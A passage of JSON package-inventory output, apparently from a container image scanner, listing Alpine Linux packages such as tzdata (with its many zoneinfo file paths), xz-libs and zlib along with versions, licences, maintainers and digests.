"sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:87a50d7c6b25f4f767731a631b7b52ca041b4646", "InstalledFiles": [ "sbin/tini" ], "AnalyzedBy": "apk" }, { "ID": "tzdata@2025c-r0", "Name": "tzdata", "Identifier": { "PURL": "pkg:apk/alpine/tzdata@2025c-r0?arch=x86_64\u0026distro=3.21.5", "UID": "5b00c92c6dbf76c3" }, "Version": "2025c-r0", "Arch": "x86_64", "SrcName": "tzdata", "SrcVersion": "2025c-r0", "Licenses": [ "Public-Domain" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:740cf39878b8ab3972e4a6b0c11de001158f5071", "InstalledFiles": [ "usr/share/zoneinfo/CET", "usr/share/zoneinfo/CST6CDT", "usr/share/zoneinfo/Cuba", "usr/share/zoneinfo/EET", "usr/share/zoneinfo/EST", "usr/share/zoneinfo/EST5EDT", "usr/share/zoneinfo/Egypt", "usr/share/zoneinfo/Eire", "usr/share/zoneinfo/Factory", "usr/share/zoneinfo/GB", "usr/share/zoneinfo/GB-Eire", "usr/share/zoneinfo/GMT", "usr/share/zoneinfo/GMT+0", "usr/share/zoneinfo/GMT-0", "usr/share/zoneinfo/GMT0", "usr/share/zoneinfo/Greenwich", "usr/share/zoneinfo/HST", "usr/share/zoneinfo/Hongkong", "usr/share/zoneinfo/Iceland", "usr/share/zoneinfo/Iran", "usr/share/zoneinfo/Israel", "usr/share/zoneinfo/Jamaica", "usr/share/zoneinfo/Japan", "usr/share/zoneinfo/Kwajalein", "usr/share/zoneinfo/Libya", "usr/share/zoneinfo/MET", "usr/share/zoneinfo/MST", "usr/share/zoneinfo/MST7MDT", "usr/share/zoneinfo/NZ", "usr/share/zoneinfo/NZ-CHAT", "usr/share/zoneinfo/Navajo", "usr/share/zoneinfo/PRC", "usr/share/zoneinfo/PST8PDT", "usr/share/zoneinfo/Poland", "usr/share/zoneinfo/Portugal", "usr/share/zoneinfo/ROC", "usr/share/zoneinfo/ROK", "usr/share/zoneinfo/Singapore", "usr/share/zoneinfo/Turkey", "usr/share/zoneinfo/UCT", "usr/share/zoneinfo/UTC", "usr/share/zoneinfo/Universal", "usr/share/zoneinfo/W-SU", "usr/share/zoneinfo/WET", "usr/share/zoneinfo/Zulu", "usr/share/zoneinfo/iso3166.tab", "usr/share/zoneinfo/leap-seconds.list", "usr/share/zoneinfo/posixrules", "usr/share/zoneinfo/zone.tab", "usr/share/zoneinfo/zone1970.tab", "usr/share/zoneinfo/Africa/Abidjan", "usr/share/zoneinfo/Africa/Accra", "usr/share/zoneinfo/Africa/Addis_Ababa", "usr/share/zoneinfo/Africa/Algiers", "usr/share/zoneinfo/Africa/Asmara", "usr/share/zoneinfo/Africa/Asmera", "usr/share/zoneinfo/Africa/Bamako", "usr/share/zoneinfo/Africa/Bangui", "usr/share/zoneinfo/Africa/Banjul", "usr/share/zoneinfo/Africa/Bissau", "usr/share/zoneinfo/Africa/Blantyre", "usr/share/zoneinfo/Africa/Brazzaville", "usr/share/zoneinfo/Africa/Bujumbura", "usr/share/zoneinfo/Africa/Cairo", "usr/share/zoneinfo/Africa/Casablanca", "usr/share/zoneinfo/Africa/Ceuta", "usr/share/zoneinfo/Africa/Conakry", "usr/share/zoneinfo/Africa/Dakar", "usr/share/zoneinfo/Africa/Dar_es_Salaam", "usr/share/zoneinfo/Africa/Djibouti", "usr/share/zoneinfo/Africa/Douala", "usr/share/zoneinfo/Africa/El_Aaiun", "usr/share/zoneinfo/Africa/Freetown", "usr/share/zoneinfo/Africa/Gaborone", "usr/share/zoneinfo/Africa/Harare", "usr/share/zoneinfo/Africa/Johannesburg", "usr/share/zoneinfo/Africa/Juba", "usr/share/zoneinfo/Africa/Kampala", "usr/share/zoneinfo/Africa/Khartoum", "usr/share/zoneinfo/Africa/Kigali", "usr/share/zoneinfo/Africa/Kinshasa", "usr/share/zoneinfo/Africa/Lagos", "usr/share/zoneinfo/Africa/Libreville", "usr/share/zoneinfo/Africa/Lome", "usr/share/zoneinfo/Africa/Luanda", "usr/share/zoneinfo/Africa/Lubumbashi", "usr/share/zoneinfo/Africa/Lusaka", "usr/share/zoneinfo/Africa/Malabo", "usr/share/zoneinfo/Africa/Maputo", "usr/share/zoneinfo/Africa/Maseru", "usr/share/zoneinfo/Africa/Mbabane", "usr/share/zoneinfo/Africa/Mogadishu", "usr/share/zoneinfo/Africa/Monrovia", "usr/share/zoneinfo/Africa/Nairobi", "usr/share/zoneinfo/Africa/Ndjamena", "usr/share/zoneinfo/Africa/Niamey", "usr/share/zoneinfo/Africa/Nouakchott", "usr/share/zoneinfo/Africa/Ouagadougou", "usr/share/zoneinfo/Africa/Porto-Novo", "usr/share/zoneinfo/Africa/Sao_Tome", "usr/share/zoneinfo/Africa/Timbuktu", "usr/share/zoneinfo/Africa/Tripoli", "usr/share/zoneinfo/Africa/Tunis", "usr/share/zoneinfo/Africa/Windhoek", "usr/share/zoneinfo/America/Adak", "usr/share/zoneinfo/America/Anchorage", "usr/share/zoneinfo/America/Anguilla", "usr/share/zoneinfo/America/Antigua", "usr/share/zoneinfo/America/Araguaina", "usr/share/zoneinfo/America/Aruba", "usr/share/zoneinfo/America/Asuncion", "usr/share/zoneinfo/America/Atikokan", "usr/share/zoneinfo/America/Atka", "usr/share/zoneinfo/America/Bahia", "usr/share/zoneinfo/America/Bahia_Banderas", "usr/share/zoneinfo/America/Barbados", "usr/share/zoneinfo/America/Belem", "usr/share/zoneinfo/America/Belize", "usr/share/zoneinfo/America/Blanc-Sablon", "usr/share/zoneinfo/America/Boa_Vista", "usr/share/zoneinfo/America/Bogota", "usr/share/zoneinfo/America/Boise", "usr/share/zoneinfo/America/Buenos_Aires", "usr/share/zoneinfo/America/Cambridge_Bay", "usr/share/zoneinfo/America/Campo_Grande", "usr/share/zoneinfo/America/Cancun", "usr/share/zoneinfo/America/Caracas", "usr/share/zoneinfo/America/Catamarca", "usr/share/zoneinfo/America/Cayenne", "usr/share/zoneinfo/America/Cayman", "usr/share/zoneinfo/America/Chicago", "usr/share/zoneinfo/America/Chihuahua", "usr/share/zoneinfo/America/Ciudad_Juarez", "usr/share/zoneinfo/America/Coral_Harbour", "usr/share/zoneinfo/America/Cordoba", "usr/share/zoneinfo/America/Costa_Rica", "usr/share/zoneinfo/America/Coyhaique", "usr/share/zoneinfo/America/Creston", "usr/share/zoneinfo/America/Cuiaba", "usr/share/zoneinfo/America/Curacao", "usr/share/zoneinfo/America/Danmarkshavn", "usr/share/zoneinfo/America/Dawson", "usr/share/zoneinfo/America/Dawson_Creek", "usr/share/zoneinfo/America/Denver", "usr/share/zoneinfo/America/Detroit", "usr/share/zoneinfo/America/Dominica", "usr/share/zoneinfo/America/Edmonton", "usr/share/zoneinfo/America/Eirunepe", "usr/share/zoneinfo/America/El_Salvador", "usr/share/zoneinfo/America/Ensenada", "usr/share/zoneinfo/America/Fort_Nelson", "usr/share/zoneinfo/America/Fort_Wayne", "usr/share/zoneinfo/America/Fortaleza", "usr/share/zoneinfo/America/Glace_Bay", "usr/share/zoneinfo/America/Godthab", "usr/share/zoneinfo/America/Goose_Bay", "usr/share/zoneinfo/America/Grand_Turk", "usr/share/zoneinfo/America/Grenada", "usr/share/zoneinfo/America/Guadeloupe", "usr/share/zoneinfo/America/Guatemala", "usr/share/zoneinfo/America/Guayaquil", "usr/share/zoneinfo/America/Guyana", "usr/share/zoneinfo/America/Halifax", "usr/share/zoneinfo/America/Havana", "usr/share/zoneinfo/America/Hermosillo", "usr/share/zoneinfo/America/Indianapolis", "usr/share/zoneinfo/America/Inuvik", "usr/share/zoneinfo/America/Iqaluit", "usr/share/zoneinfo/America/Jamaica", "usr/share/zoneinfo/America/Jujuy", "usr/share/zoneinfo/America/Juneau", "usr/share/zoneinfo/America/Knox_IN", "usr/share/zoneinfo/America/Kralendijk", "usr/share/zoneinfo/America/La_Paz", "usr/share/zoneinfo/America/Lima", "usr/share/zoneinfo/America/Los_Angeles", "usr/share/zoneinfo/America/Louisville", "usr/share/zoneinfo/America/Lower_Princes", "usr/share/zoneinfo/America/Maceio", "usr/share/zoneinfo/America/Managua", "usr/share/zoneinfo/America/Manaus", "usr/share/zoneinfo/America/Marigot", "usr/share/zoneinfo/America/Martinique", "usr/share/zoneinfo/America/Matamoros", "usr/share/zoneinfo/America/Mazatlan", "usr/share/zoneinfo/America/Mendoza", "usr/share/zoneinfo/America/Menominee", "usr/share/zoneinfo/America/Merida", "usr/share/zoneinfo/America/Metlakatla", "usr/share/zoneinfo/America/Mexico_City", "usr/share/zoneinfo/America/Miquelon", "usr/share/zoneinfo/America/Moncton", "usr/share/zoneinfo/America/Monterrey", "usr/share/zoneinfo/America/Montevideo", "usr/share/zoneinfo/America/Montreal", "usr/share/zoneinfo/America/Montserrat", "usr/share/zoneinfo/America/Nassau", "usr/share/zoneinfo/America/New_York", "usr/share/zoneinfo/America/Nipigon", "usr/share/zoneinfo/America/Nome", "usr/share/zoneinfo/America/Noronha", "usr/share/zoneinfo/America/Nuuk", "usr/share/zoneinfo/America/Ojinaga", "usr/share/zoneinfo/America/Panama", "usr/share/zoneinfo/America/Pangnirtung", "usr/share/zoneinfo/America/Paramaribo", "usr/share/zoneinfo/America/Phoenix", "usr/share/zoneinfo/America/Port-au-Prince", "usr/share/zoneinfo/America/Port_of_Spain", "usr/share/zoneinfo/America/Porto_Acre", "usr/share/zoneinfo/America/Porto_Velho", "usr/share/zoneinfo/America/Puerto_Rico", "usr/share/zoneinfo/America/Punta_Arenas", "usr/share/zoneinfo/America/Rainy_River", "usr/share/zoneinfo/America/Rankin_Inlet", "usr/share/zoneinfo/America/Recife", "usr/share/zoneinfo/America/Regina", "usr/share/zoneinfo/America/Resolute", "usr/share/zoneinfo/America/Rio_Branco", "usr/share/zoneinfo/America/Rosario", "usr/share/zoneinfo/America/Santa_Isabel", "usr/share/zoneinfo/America/Santarem", "usr/share/zoneinfo/America/Santiago", "usr/share/zoneinfo/America/Santo_Domingo", "usr/share/zoneinfo/America/Sao_Paulo", "usr/share/zoneinfo/America/Scoresbysund", "usr/share/zoneinfo/America/Shiprock", "usr/share/zoneinfo/America/Sitka", "usr/share/zoneinfo/America/St_Barthelemy", "usr/share/zoneinfo/America/St_Johns", "usr/share/zoneinfo/America/St_Kitts", "usr/share/zoneinfo/America/St_Lucia", "usr/share/zoneinfo/America/St_Thomas", "usr/share/zoneinfo/America/St_Vincent", "usr/share/zoneinfo/America/Swift_Current", "usr/share/zoneinfo/America/Tegucigalpa", "usr/share/zoneinfo/America/Thule", "usr/share/zoneinfo/America/Thunder_Bay", "usr/share/zoneinfo/America/Tijuana", "usr/share/zoneinfo/America/Toronto", "usr/share/zoneinfo/America/Tortola", "usr/share/zoneinfo/America/Vancouver", "usr/share/zoneinfo/America/Virgin", "usr/share/zoneinfo/America/Whitehorse", "usr/share/zoneinfo/America/Winnipeg", "usr/share/zoneinfo/America/Yakutat", "usr/share/zoneinfo/America/Yellowknife", "usr/share/zoneinfo/America/Argentina/Buenos_Aires", "usr/share/zoneinfo/America/Argentina/Catamarca", "usr/share/zoneinfo/America/Argentina/ComodRivadavia", "usr/share/zoneinfo/America/Argentina/Cordoba", "usr/share/zoneinfo/America/Argentina/Jujuy", "usr/share/zoneinfo/America/Argentina/La_Rioja", "usr/share/zoneinfo/America/Argentina/Mendoza", "usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "usr/share/zoneinfo/America/Argentina/Salta", "usr/share/zoneinfo/America/Argentina/San_Juan", "usr/share/zoneinfo/America/Argentina/San_Luis", "usr/share/zoneinfo/America/Argentina/Tucuman", "usr/share/zoneinfo/America/Argentina/Ushuaia", "usr/share/zoneinfo/America/Indiana/Indianapolis", "usr/share/zoneinfo/America/Indiana/Knox", "usr/share/zoneinfo/America/Indiana/Marengo", "usr/share/zoneinfo/America/Indiana/Petersburg", "usr/share/zoneinfo/America/Indiana/Tell_City", "usr/share/zoneinfo/America/Indiana/Vevay", "usr/share/zoneinfo/America/Indiana/Vincennes", "usr/share/zoneinfo/America/Indiana/Winamac", "usr/share/zoneinfo/America/Kentucky/Louisville", "usr/share/zoneinfo/America/Kentucky/Monticello", "usr/share/zoneinfo/America/North_Dakota/Beulah", "usr/share/zoneinfo/America/North_Dakota/Center", "usr/share/zoneinfo/America/North_Dakota/New_Salem", "usr/share/zoneinfo/Antarctica/Casey", "usr/share/zoneinfo/Antarctica/Davis", "usr/share/zoneinfo/Antarctica/DumontDUrville", "usr/share/zoneinfo/Antarctica/Macquarie", "usr/share/zoneinfo/Antarctica/Mawson", "usr/share/zoneinfo/Antarctica/McMurdo", "usr/share/zoneinfo/Antarctica/Palmer", "usr/share/zoneinfo/Antarctica/Rothera", "usr/share/zoneinfo/Antarctica/South_Pole", "usr/share/zoneinfo/Antarctica/Syowa", "usr/share/zoneinfo/Antarctica/Troll", "usr/share/zoneinfo/Antarctica/Vostok", "usr/share/zoneinfo/Arctic/Longyearbyen", "usr/share/zoneinfo/Asia/Aden", "usr/share/zoneinfo/Asia/Almaty", "usr/share/zoneinfo/Asia/Amman", "usr/share/zoneinfo/Asia/Anadyr", "usr/share/zoneinfo/Asia/Aqtau", "usr/share/zoneinfo/Asia/Aqtobe", "usr/share/zoneinfo/Asia/Ashgabat", "usr/share/zoneinfo/Asia/Ashkhabad", "usr/share/zoneinfo/Asia/Atyrau", "usr/share/zoneinfo/Asia/Baghdad", "usr/share/zoneinfo/Asia/Bahrain", "usr/share/zoneinfo/Asia/Baku", "usr/share/zoneinfo/Asia/Bangkok", "usr/share/zoneinfo/Asia/Barnaul", "usr/share/zoneinfo/Asia/Beirut", "usr/share/zoneinfo/Asia/Bishkek", "usr/share/zoneinfo/Asia/Brunei", "usr/share/zoneinfo/Asia/Calcutta", "usr/share/zoneinfo/Asia/Chita", "usr/share/zoneinfo/Asia/Choibalsan", "usr/share/zoneinfo/Asia/Chongqing", "usr/share/zoneinfo/Asia/Chungking", "usr/share/zoneinfo/Asia/Colombo", "usr/share/zoneinfo/Asia/Dacca", "usr/share/zoneinfo/Asia/Damascus", "usr/share/zoneinfo/Asia/Dhaka", "usr/share/zoneinfo/Asia/Dili", "usr/share/zoneinfo/Asia/Dubai", "usr/share/zoneinfo/Asia/Dushanbe", "usr/share/zoneinfo/Asia/Famagusta", "usr/share/zoneinfo/Asia/Gaza", "usr/share/zoneinfo/Asia/Harbin", "usr/share/zoneinfo/Asia/Hebron", "usr/share/zoneinfo/Asia/Ho_Chi_Minh", "usr/share/zoneinfo/Asia/Hong_Kong", "usr/share/zoneinfo/Asia/Hovd", "usr/share/zoneinfo/Asia/Irkutsk", "usr/share/zoneinfo/Asia/Istanbul", "usr/share/zoneinfo/Asia/Jakarta", "usr/share/zoneinfo/Asia/Jayapura", "usr/share/zoneinfo/Asia/Jerusalem", "usr/share/zoneinfo/Asia/Kabul", "usr/share/zoneinfo/Asia/Kamchatka", "usr/share/zoneinfo/Asia/Karachi", "usr/share/zoneinfo/Asia/Kashgar", "usr/share/zoneinfo/Asia/Kathmandu", "usr/share/zoneinfo/Asia/Katmandu", "usr/share/zoneinfo/Asia/Khandyga", "usr/share/zoneinfo/Asia/Kolkata", "usr/share/zoneinfo/Asia/Krasnoyarsk", "usr/share/zoneinfo/Asia/Kuala_Lumpur", "usr/share/zoneinfo/Asia/Kuching", "usr/share/zoneinfo/Asia/Kuwait", "usr/share/zoneinfo/Asia/Macao", "usr/share/zoneinfo/Asia/Macau", "usr/share/zoneinfo/Asia/Magadan", "usr/share/zoneinfo/Asia/Makassar", "usr/share/zoneinfo/Asia/Manila", "usr/share/zoneinfo/Asia/Muscat", "usr/share/zoneinfo/Asia/Nicosia", "usr/share/zoneinfo/Asia/Novokuznetsk", "usr/share/zoneinfo/Asia/Novosibirsk", "usr/share/zoneinfo/Asia/Omsk", "usr/share/zoneinfo/Asia/Oral", "usr/share/zoneinfo/Asia/Phnom_Penh", "usr/share/zoneinfo/Asia/Pontianak", "usr/share/zoneinfo/Asia/Pyongyang", "usr/share/zoneinfo/Asia/Qatar", "usr/share/zoneinfo/Asia/Qostanay", "usr/share/zoneinfo/Asia/Qyzylorda", "usr/share/zoneinfo/Asia/Rangoon", "usr/share/zoneinfo/Asia/Riyadh", "usr/share/zoneinfo/Asia/Saigon", "usr/share/zoneinfo/Asia/Sakhalin", "usr/share/zoneinfo/Asia/Samarkand", "usr/share/zoneinfo/Asia/Seoul", "usr/share/zoneinfo/Asia/Shanghai", "usr/share/zoneinfo/Asia/Singapore", "usr/share/zoneinfo/Asia/Srednekolymsk", "usr/share/zoneinfo/Asia/Taipei", "usr/share/zoneinfo/Asia/Tashkent", "usr/share/zoneinfo/Asia/Tbilisi", "usr/share/zoneinfo/Asia/Tehran", "usr/share/zoneinfo/Asia/Tel_Aviv", "usr/share/zoneinfo/Asia/Thimbu", "usr/share/zoneinfo/Asia/Thimphu", "usr/share/zoneinfo/Asia/Tokyo", "usr/share/zoneinfo/Asia/Tomsk", "usr/share/zoneinfo/Asia/Ujung_Pandang", "usr/share/zoneinfo/Asia/Ulaanbaatar", "usr/share/zoneinfo/Asia/Ulan_Bator", "usr/share/zoneinfo/Asia/Urumqi", "usr/share/zoneinfo/Asia/Ust-Nera", "usr/share/zoneinfo/Asia/Vientiane", "usr/share/zoneinfo/Asia/Vladivostok", "usr/share/zoneinfo/Asia/Yakutsk", "usr/share/zoneinfo/Asia/Yangon", "usr/share/zoneinfo/Asia/Yekaterinburg", "usr/share/zoneinfo/Asia/Yerevan", "usr/share/zoneinfo/Atlantic/Azores", "usr/share/zoneinfo/Atlantic/Bermuda", "usr/share/zoneinfo/Atlantic/Canary", "usr/share/zoneinfo/Atlantic/Cape_Verde", "usr/share/zoneinfo/Atlantic/Faeroe", "usr/share/zoneinfo/Atlantic/Faroe", "usr/share/zoneinfo/Atlantic/Jan_Mayen", "usr/share/zoneinfo/Atlantic/Madeira", "usr/share/zoneinfo/Atlantic/Reykjavik", "usr/share/zoneinfo/Atlantic/South_Georgia", "usr/share/zoneinfo/Atlantic/St_Helena", "usr/share/zoneinfo/Atlantic/Stanley", "usr/share/zoneinfo/Australia/ACT", "usr/share/zoneinfo/Australia/Adelaide", "usr/share/zoneinfo/Australia/Brisbane", "usr/share/zoneinfo/Australia/Broken_Hill", "usr/share/zoneinfo/Australia/Canberra", "usr/share/zoneinfo/Australia/Currie", "usr/share/zoneinfo/Australia/Darwin", "usr/share/zoneinfo/Australia/Eucla", "usr/share/zoneinfo/Australia/Hobart", "usr/share/zoneinfo/Australia/LHI", "usr/share/zoneinfo/Australia/Lindeman", "usr/share/zoneinfo/Australia/Lord_Howe", "usr/share/zoneinfo/Australia/Melbourne", "usr/share/zoneinfo/Australia/NSW", "usr/share/zoneinfo/Australia/North", "usr/share/zoneinfo/Australia/Perth", "usr/share/zoneinfo/Australia/Queensland", "usr/share/zoneinfo/Australia/South", "usr/share/zoneinfo/Australia/Sydney", "usr/share/zoneinfo/Australia/Tasmania", "usr/share/zoneinfo/Australia/Victoria", "usr/share/zoneinfo/Australia/West", "usr/share/zoneinfo/Australia/Yancowinna", "usr/share/zoneinfo/Brazil/Acre", "usr/share/zoneinfo/Brazil/DeNoronha", "usr/share/zoneinfo/Brazil/East", "usr/share/zoneinfo/Brazil/West", "usr/share/zoneinfo/Canada/Atlantic", "usr/share/zoneinfo/Canada/Central", "usr/share/zoneinfo/Canada/Eastern", "usr/share/zoneinfo/Canada/Mountain", "usr/share/zoneinfo/Canada/Newfoundland", "usr/share/zoneinfo/Canada/Pacific", "usr/share/zoneinfo/Canada/Saskatchewan", "usr/share/zoneinfo/Canada/Yukon", "usr/share/zoneinfo/Chile/Continental", "usr/share/zoneinfo/Chile/EasterIsland", "usr/share/zoneinfo/Etc/GMT", "usr/share/zoneinfo/Etc/GMT+0", "usr/share/zoneinfo/Etc/GMT+1", "usr/share/zoneinfo/Etc/GMT+10", "usr/share/zoneinfo/Etc/GMT+11", "usr/share/zoneinfo/Etc/GMT+12", "usr/share/zoneinfo/Etc/GMT+2", "usr/share/zoneinfo/Etc/GMT+3", "usr/share/zoneinfo/Etc/GMT+4", "usr/share/zoneinfo/Etc/GMT+5", "usr/share/zoneinfo/Etc/GMT+6", "usr/share/zoneinfo/Etc/GMT+7", "usr/share/zoneinfo/Etc/GMT+8", "usr/share/zoneinfo/Etc/GMT+9", "usr/share/zoneinfo/Etc/GMT-0", "usr/share/zoneinfo/Etc/GMT-1", "usr/share/zoneinfo/Etc/GMT-10", "usr/share/zoneinfo/Etc/GMT-11", "usr/share/zoneinfo/Etc/GMT-12", "usr/share/zoneinfo/Etc/GMT-13", "usr/share/zoneinfo/Etc/GMT-14", "usr/share/zoneinfo/Etc/GMT-2", "usr/share/zoneinfo/Etc/GMT-3", "usr/share/zoneinfo/Etc/GMT-4", "usr/share/zoneinfo/Etc/GMT-5", "usr/share/zoneinfo/Etc/GMT-6", "usr/share/zoneinfo/Etc/GMT-7", "usr/share/zoneinfo/Etc/GMT-8", "usr/share/zoneinfo/Etc/GMT-9", "usr/share/zoneinfo/Etc/GMT0", "usr/share/zoneinfo/Etc/Greenwich", "usr/share/zoneinfo/Etc/UCT", "usr/share/zoneinfo/Etc/UTC", "usr/share/zoneinfo/Etc/Universal", "usr/share/zoneinfo/Etc/Zulu", "usr/share/zoneinfo/Europe/Amsterdam", "usr/share/zoneinfo/Europe/Andorra", "usr/share/zoneinfo/Europe/Astrakhan", "usr/share/zoneinfo/Europe/Athens", "usr/share/zoneinfo/Europe/Belfast", "usr/share/zoneinfo/Europe/Belgrade", "usr/share/zoneinfo/Europe/Berlin", "usr/share/zoneinfo/Europe/Bratislava", "usr/share/zoneinfo/Europe/Brussels", "usr/share/zoneinfo/Europe/Bucharest", "usr/share/zoneinfo/Europe/Budapest", "usr/share/zoneinfo/Europe/Busingen", "usr/share/zoneinfo/Europe/Chisinau", "usr/share/zoneinfo/Europe/Copenhagen", "usr/share/zoneinfo/Europe/Dublin", "usr/share/zoneinfo/Europe/Gibraltar", "usr/share/zoneinfo/Europe/Guernsey", "usr/share/zoneinfo/Europe/Helsinki", "usr/share/zoneinfo/Europe/Isle_of_Man", "usr/share/zoneinfo/Europe/Istanbul", "usr/share/zoneinfo/Europe/Jersey", "usr/share/zoneinfo/Europe/Kaliningrad", "usr/share/zoneinfo/Europe/Kiev", "usr/share/zoneinfo/Europe/Kirov", "usr/share/zoneinfo/Europe/Kyiv", "usr/share/zoneinfo/Europe/Lisbon", "usr/share/zoneinfo/Europe/Ljubljana", "usr/share/zoneinfo/Europe/London", "usr/share/zoneinfo/Europe/Luxembourg", "usr/share/zoneinfo/Europe/Madrid", "usr/share/zoneinfo/Europe/Malta", "usr/share/zoneinfo/Europe/Mariehamn", "usr/share/zoneinfo/Europe/Minsk", "usr/share/zoneinfo/Europe/Monaco", "usr/share/zoneinfo/Europe/Moscow", "usr/share/zoneinfo/Europe/Nicosia", "usr/share/zoneinfo/Europe/Oslo", "usr/share/zoneinfo/Europe/Paris", "usr/share/zoneinfo/Europe/Podgorica", "usr/share/zoneinfo/Europe/Prague", "usr/share/zoneinfo/Europe/Riga", "usr/share/zoneinfo/Europe/Rome", "usr/share/zoneinfo/Europe/Samara", "usr/share/zoneinfo/Europe/San_Marino", "usr/share/zoneinfo/Europe/Sarajevo", "usr/share/zoneinfo/Europe/Saratov", "usr/share/zoneinfo/Europe/Simferopol", "usr/share/zoneinfo/Europe/Skopje", "usr/share/zoneinfo/Europe/Sofia", "usr/share/zoneinfo/Europe/Stockholm", "usr/share/zoneinfo/Europe/Tallinn", "usr/share/zoneinfo/Europe/Tirane", "usr/share/zoneinfo/Europe/Tiraspol", "usr/share/zoneinfo/Europe/Ulyanovsk", "usr/share/zoneinfo/Europe/Uzhgorod", "usr/share/zoneinfo/Europe/Vaduz", "usr/share/zoneinfo/Europe/Vatican", "usr/share/zoneinfo/Europe/Vienna", "usr/share/zoneinfo/Europe/Vilnius", "usr/share/zoneinfo/Europe/Volgograd", "usr/share/zoneinfo/Europe/Warsaw", "usr/share/zoneinfo/Europe/Zagreb", "usr/share/zoneinfo/Europe/Zaporozhye", "usr/share/zoneinfo/Europe/Zurich", "usr/share/zoneinfo/Indian/Antananarivo", "usr/share/zoneinfo/Indian/Chagos", "usr/share/zoneinfo/Indian/Christmas", "usr/share/zoneinfo/Indian/Cocos", "usr/share/zoneinfo/Indian/Comoro", "usr/share/zoneinfo/Indian/Kerguelen", "usr/share/zoneinfo/Indian/Mahe", "usr/share/zoneinfo/Indian/Maldives", "usr/share/zoneinfo/Indian/Mauritius", "usr/share/zoneinfo/Indian/Mayotte", "usr/share/zoneinfo/Indian/Reunion", "usr/share/zoneinfo/Mexico/BajaNorte", "usr/share/zoneinfo/Mexico/BajaSur", "usr/share/zoneinfo/Mexico/General", "usr/share/zoneinfo/Pacific/Apia", "usr/share/zoneinfo/Pacific/Auckland", "usr/share/zoneinfo/Pacific/Bougainville", "usr/share/zoneinfo/Pacific/Chatham", "usr/share/zoneinfo/Pacific/Chuuk", "usr/share/zoneinfo/Pacific/Easter", "usr/share/zoneinfo/Pacific/Efate", "usr/share/zoneinfo/Pacific/Enderbury", "usr/share/zoneinfo/Pacific/Fakaofo", "usr/share/zoneinfo/Pacific/Fiji", "usr/share/zoneinfo/Pacific/Funafuti", "usr/share/zoneinfo/Pacific/Galapagos", "usr/share/zoneinfo/Pacific/Gambier", "usr/share/zoneinfo/Pacific/Guadalcanal", "usr/share/zoneinfo/Pacific/Guam", "usr/share/zoneinfo/Pacific/Honolulu", "usr/share/zoneinfo/Pacific/Johnston", "usr/share/zoneinfo/Pacific/Kanton", "usr/share/zoneinfo/Pacific/Kiritimati", "usr/share/zoneinfo/Pacific/Kosrae", "usr/share/zoneinfo/Pacific/Kwajalein", "usr/share/zoneinfo/Pacific/Majuro", "usr/share/zoneinfo/Pacific/Marquesas", "usr/share/zoneinfo/Pacific/Midway", "usr/share/zoneinfo/Pacific/Nauru", "usr/share/zoneinfo/Pacific/Niue", "usr/share/zoneinfo/Pacific/Norfolk", "usr/share/zoneinfo/Pacific/Noumea", "usr/share/zoneinfo/Pacific/Pago_Pago", "usr/share/zoneinfo/Pacific/Palau", "usr/share/zoneinfo/Pacific/Pitcairn", "usr/share/zoneinfo/Pacific/Pohnpei", "usr/share/zoneinfo/Pacific/Ponape", "usr/share/zoneinfo/Pacific/Port_Moresby", "usr/share/zoneinfo/Pacific/Rarotonga", "usr/share/zoneinfo/Pacific/Saipan", "usr/share/zoneinfo/Pacific/Samoa", "usr/share/zoneinfo/Pacific/Tahiti", "usr/share/zoneinfo/Pacific/Tarawa", "usr/share/zoneinfo/Pacific/Tongatapu", "usr/share/zoneinfo/Pacific/Truk", "usr/share/zoneinfo/Pacific/Wake", "usr/share/zoneinfo/Pacific/Wallis", "usr/share/zoneinfo/Pacific/Yap", "usr/share/zoneinfo/US/Alaska", "usr/share/zoneinfo/US/Aleutian", "usr/share/zoneinfo/US/Arizona", "usr/share/zoneinfo/US/Central", "usr/share/zoneinfo/US/East-Indiana", "usr/share/zoneinfo/US/Eastern", "usr/share/zoneinfo/US/Hawaii", "usr/share/zoneinfo/US/Indiana-Starke", "usr/share/zoneinfo/US/Michigan", "usr/share/zoneinfo/US/Mountain", "usr/share/zoneinfo/US/Pacific", "usr/share/zoneinfo/US/Samoa" ], "AnalyzedBy": "apk" }, { "ID": "xz-libs@5.6.3-r1", "Name": "xz-libs", "Identifier": { "PURL": "pkg:apk/alpine/xz-libs@5.6.3-r1?arch=x86_64\u0026distro=3.21.5", "UID": "219720ff66151d62" }, "Version": "5.6.3-r1", "Arch": "x86_64", "SrcName": "xz", "SrcVersion": "5.6.3-r1", "Licenses": [ "GPL-2.0-or-later", "0BSD", "Public-Domain", "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:b7d7b85e5f9f845bf7a7dcc383d09f327a7eebc8", "InstalledFiles": [ "usr/lib/liblzma.so.5", "usr/lib/liblzma.so.5.6.3" ], "AnalyzedBy": "apk" }, { "ID": "zlib@1.3.1-r2", "Name": "zlib", "Identifier": { "PURL": "pkg:apk/alpine/zlib@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "3b545badcbeb3bc0" }, "Version": "1.3.1-r2", "Arch": "x86_64", "SrcName": "zlib", "SrcVersion": "1.3.1-r2", "Licenses": [ "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:f0b90f76367ac51b4a3e70432ed00e6dca6a7432", "InstalledFiles": [ "usr/lib/libz.so.1", "usr/lib/libz.so.1.3.1" ], "AnalyzedBy": "apk" }, { "ID": "zlib-dev@1.3.1-r2", "Name": "zlib-dev", "Identifier": { "PURL": "pkg:apk/alpine/zlib-dev@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "98d2c7733894cf2b" }, "Version": "1.3.1-r2", "Arch": "x86_64", "SrcName": "zlib", "SrcVersion": "1.3.1-r2", "Licenses": [ "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ 